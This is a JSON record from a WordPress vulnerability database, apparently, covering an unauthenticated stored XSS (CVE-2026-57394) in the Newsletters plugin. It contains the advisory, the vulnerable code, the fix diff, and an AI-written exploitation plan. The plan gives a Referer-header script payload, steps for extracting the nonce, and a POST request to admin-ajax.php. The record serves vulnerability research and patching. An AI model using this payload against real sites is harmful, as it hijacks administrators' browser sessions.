[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSGq5nNYu5yss1R-mJSqS8SkYC_ULlf3ZXlWnHfJKMBQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-57394","newsletters-unauthenticated-stored-cross-site-scripting-2","Newsletters \u003C= 4.14 - Unauthenticated Stored Cross-Site Scripting","The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","newsletters-lite",null,"\u003C=4.14","4.15","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:45:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fca6c0527-5a1c-4bf3-af71-8e40381f0c1c?source=api-prod",7,[22,23,24,25,26],"readme.txt","views\u002Fadmin\u002Fautoresponderemails\u002Findex.php","views\u002Fadmin\u002Fsubscribers\u002Fview.php","wp-mailinglist-plugin.php","wp-mailinglist.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57394\n\n## 1. Vulnerability Summary\nThe **Newsletters (newsletters-lite)** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** in versions up to and including 4.14. The vulnerability exists because the plugin records the `HTTP_REFERER` of a user during the subscription process and subsequently displays it in the administrative \"View Subscriber\" page without proper sanitization or output escaping. An unauthenticated attacker can submit a subscription request with a malicious `Referer` header, which will execute arbitrary JavaScript when an administrator views that subscriber's profile.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `wp-admin\u002Fadmin-ajax.php` (AJAX subscription handler).\n*   **Vulnerable Parameter:** `HTTP_REFERER` header.\n*   **Authentication Required:** None (Unauthenticated).\n*   **Preconditions:**\n    *   The plugin must have at least one active mailing list.\n    *   The subscription form must be accessible (usually via a shortcode or widget).\n    *   An administrator must eventually view the specific malicious subscriber's details.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user submits a subscription request (typically via an AJAX action like `newsletters_subscribe`).\n2.  **Capture (Inferred):** The plugin captures the source of the subscription using `$_SERVER['HTTP_REFERER']`.\n3.  **Storage (Inferred):** The raw referrer string is saved to the `referer` column in the plugin's subscribers database table (e.g., `wp_wpmlsubscribers`) without sanitization.\n4.  **Retrieval:** An administrator navigates to the \"Subscribers\" section and clicks \"View\" for the new subscriber.\n5.  **Sink:** The file `views\u002Fadmin\u002Fsubscribers\u002Fview.php` is rendered.\n6.  **Execution:** At line ~119 (in the provided snippet), the following code executes:\n    ```php\n    \u003C?php if (!empty($subscriber -> referer)) : ?>\n        \u003Ctr class=\"\u003C?php echo $class = (empty($class)) ? 'alternate' : ''; ?>\">\n            \u003Cth>\u003C?php esc_html_e('Referrer', 'wp-mailinglist'); ?>\u003C\u002Fth>\n            \u003Ctd>\u003C?php echo $subscriber -> referer; ?>\u003C\u002Ftd>\n        \u003C\u002Ftr>\n    \u003C?php endif; ?>\n    ```\n    Since `$subscriber->referer` is echoed directly without `esc_html()` or `wp_kses()`, the payload executes in the admin's browser.\n\n## 4. Nonce Acquisition Strategy\nThe subscription form typically requires a nonce for AJAX requests. To obtain a valid nonce for the unauthenticated context (User ID 0):\n\n1.  **Identify Shortcode:** The plugin uses the `[newsletters_subscribe]` shortcode to render the form.\n2.  **Create Test Page:**\n    `wp post create --post_type=page --post_title=\"Subscribe\" --post_status=publish --post_content='[newsletters_subscribe list=\"1\"]'`\n3.  **Navigate & Extract:** Navigate to the newly created page using the browser.\n4.  **Extract Variable:** The plugin enqueues scripts that localize data. Look for a global JavaScript object, often named `wpml_data` or similar, or check the `wpmlAjax` variable mentioned in the `readme.txt`.\n    *   **Inferred JS Variable:** `window.wpml_data` or `window.newsletters_vars`.\n    *   **Action String:** The nonce is likely created for an action like `newsletters_subscribe` or the generic plugin name.\n5.  **Browser Eval:** \n    `browser_eval(\"window.wpml_data?.nonce\")` or `browser_eval(\"jQuery('input[name=\\\"_wpnonce\\\"]').val()\")` (if using a standard form field).\n\n## 5. Exploitation Strategy\n### Step 1: Prepare the Environment\nEnsure a mailing list exists.\n`wp eval \"global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'wpmlmailinglists', array('title' => 'Test List', 'active' => 'Y'));\"`\n\n### Step 2: Extract Nonce and Form Data\nNavigate to the subscription page and extract the required `list_id` and nonce.\n\n### Step 3: Execute the Exploit\nSend a POST request to the AJAX endpoint with the malicious `Referer`.\n\n*   **Tool:** `http_request`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:**\n    *   `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   `Referer: \u003Cscript>alert('CVE-2026-57394')\u003C\u002Fscript>`\n*   **Body:**\n    `action=newsletters_subscribe&email=attacker@example.com&list_id[]=1&nonce=[NONCE]`\n\n### Step 4: Trigger the XSS\nLog in as an administrator and navigate to the subscriber view page:\n`http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=newsletters-subscribers&method=view&id=[ID]`\n(The ID can be found via `wp db query \"SELECT id FROM wp_wpmlsubscribers WHERE email='attacker@example.com'\"`).\n\n## 6. Test Data Setup\n1.  **Mailing List:** A list must exist with ID `1`.\n2.  **Subscription Page:** A public page containing the shortcode `[newsletters_subscribe]`.\n3.  **Admin User:** A standard admin account to view the payload.\n\n## 7. Expected Results\n*   The subscription request returns a success message (e.g., \"Subscription successful\").\n*   When the admin views the subscriber, the browser executes the JavaScript `alert('CVE-2026-57394')`.\n*   The HTML source of the admin page will contain:\n    `\u003Ctd>\u003Cscript>alert('CVE-2026-57394')\u003C\u002Fscript>\u003C\u002Ftd>`\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the payload is stored in the database:\n```bash\nwp db query \"SELECT referer FROM wp_wpmlsubscribers WHERE email='attacker@example.com'\"\n```\nThe output should exactly match the `\u003Cscript>` payload.\n\n## 9. Alternative Approaches\nIf the `Referer` header is sanitized on input but not output:\n*   **Custom Fields:** If the subscription form allows custom fields, test for lack of escaping in `views\u002Fadmin\u002Fsubscribers\u002Fview.php` around line 135:\n    ```php\n    \u003Cth>\u003C?php echo esc_html($field -> title); ?>\u003C\u002Fth>\n    \u003Ctd>\u003C?php echo $subscriber -> {$field -> slug}; ?>\u003C\u002Ftd>\n    ```\n    This loop also appears to echo `$subscriber -> {$field -> slug}` directly for certain field types.\n*   **IP Address:** Check if the IP Address field (retrieved via `$_SERVER['REMOTE_ADDR']`) is vulnerable, although this usually requires header spoofing (e.g., `X-Forwarded-For`) and depends on the server configuration.","The Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it captures the Referer header from unauthenticated subscription requests and saves it directly to the database. The captured data is subsequently rendered in the administrative subscriber view without sanitization or output escaping, allowing an attacker to execute arbitrary scripts in the context of an administrator's session.","\u002F\u002F views\u002Fadmin\u002Fsubscribers\u002Fview.php line 101-102\n\u003Cth>\u003C?php esc_html_e('Referrer', 'wp-mailinglist'); ?>\u003C\u002Fth>\n\u003Ctd>\u003C?php echo $subscriber -> referer; ?>\u003C\u002Ftd>\n\n---\n\n\u002F\u002F views\u002Fadmin\u002Fautoresponderemails\u002Findex.php lines 46-47\n\u003C?php if (!empty($_GET['id'])) : ?>\n\tchangefilter('autoresponder_id', '\u003C?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>'));\n\u003C?php endif; ?>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.14\u002Fviews\u002Fadmin\u002Fautoresponderemails\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.15\u002Fviews\u002Fadmin\u002Fautoresponderemails\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.14\u002Fviews\u002Fadmin\u002Fautoresponderemails\u002Findex.php\t2026-06-10 08:19:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.15\u002Fviews\u002Fadmin\u002Fautoresponderemails\u002Findex.php\t2026-06-19 16:07:28.000000000 +0000\n@@ -44,10 +44,10 @@\n \t\t\t\t\t\n \t\tjQuery(document).ready(function() {\n \t\t\t\u003C?php if (!empty($_GET['id'])) : ?>\n-\t\t\t\tchangefilter('autoresponder_id', '\u003C?php echo sanitize_text_field(wp_unslash($_GET['id'])); ?>'));\n+\t\t\t\tchangefilter('autoresponder_id', '\u003C?php echo esc_js(sanitize_text_field(wp_unslash($_GET['id']))); ?>');\n \t\t\t\u003C?php endif; ?>\n \t\t\t\u003C?php if (!empty($_GET['status'])) : ?>\n-\t\t\t\tchangefilter('status', '\u003C?php echo sanitize_text_field(wp_unslash($_GET['status'])); ?>'));\n+\t\t\t\tchangefilter('status', '\u003C?php echo esc_js(sanitize_text_field(wp_unslash($_GET['status']))); ?>');\n \t\t\t\u003C?php endif; ?>\n \t\t});\n \t\t\u003C\u002Fscript>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.14\u002Fviews\u002Fadmin\u002Fsubscribers\u002Fview.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.15\u002Fviews\u002Fadmin\u002Fsubscribers\u002Fview.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.14\u002Fviews\u002Fadmin\u002Fsubscribers\u002Fview.php\t2026-06-10 08:19:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnewsletters-lite\u002F4.15\u002Fviews\u002Fadmin\u002Fsubscribers\u002Fview.php\t2026-06-19 16:50:40.000000000 +0000\n@@ -99,7 +99,7 @@\n \t\t\t\u003C?php if (!empty($subscriber -> referer)) : ?>\n \t\t\t\t\u003Ctr class=\"\u003C?php echo $class = (empty($class)) ? 'alternate' : ''; ?>\">\n \t\t\t\t\t\u003Cth>\u003C?php esc_html_e('Referrer', 'wp-mailinglist'); ?>\u003C\u002Fth>\n-\t\t\t\t\t\u003Ctd>\u003C?php echo $subscriber -> referer; ?>\u003C\u002Ftd>\n+\t\t\t\t\t\u003Ctd>\u003C?php echo esc_html( $subscriber -> referer); ?>\u003C\u002Ftd>\n \t\t\t\t\u003C\u002Ftr>\n \t\t\t\u003C?php endif; ?>","The exploit involves a Stored XSS via the Referer HTTP header. First, an unauthenticated attacker identifies a public newsletter subscription form on the target site and extracts a valid AJAX nonce and mailing list ID from the localized script variables or form source. Next, the attacker sends a POST request to the `\u002Fwp-admin\u002Fadmin-ajax.php` endpoint with the action `newsletters_subscribe`. The request must include a crafted Referer header containing a JavaScript payload (e.g., `\u003Cscript>alert('XSS')\u003C\u002Fscript>`). The plugin stores this raw Referer string in the database. Finally, the payload executes when an administrator navigates to the 'Subscribers' section of the dashboard and clicks 'View' for the record corresponding to the attacker's subscription email.","gemini-3-flash-preview","2026-07-16 14:53:00","2026-07-16 14:54:17",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","4.14","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnewsletters-lite\u002Ftags\u002F4.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnewsletters-lite.4.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnewsletters-lite\u002Ftags\u002F4.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnewsletters-lite.4.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnewsletters-lite\u002Ftags"]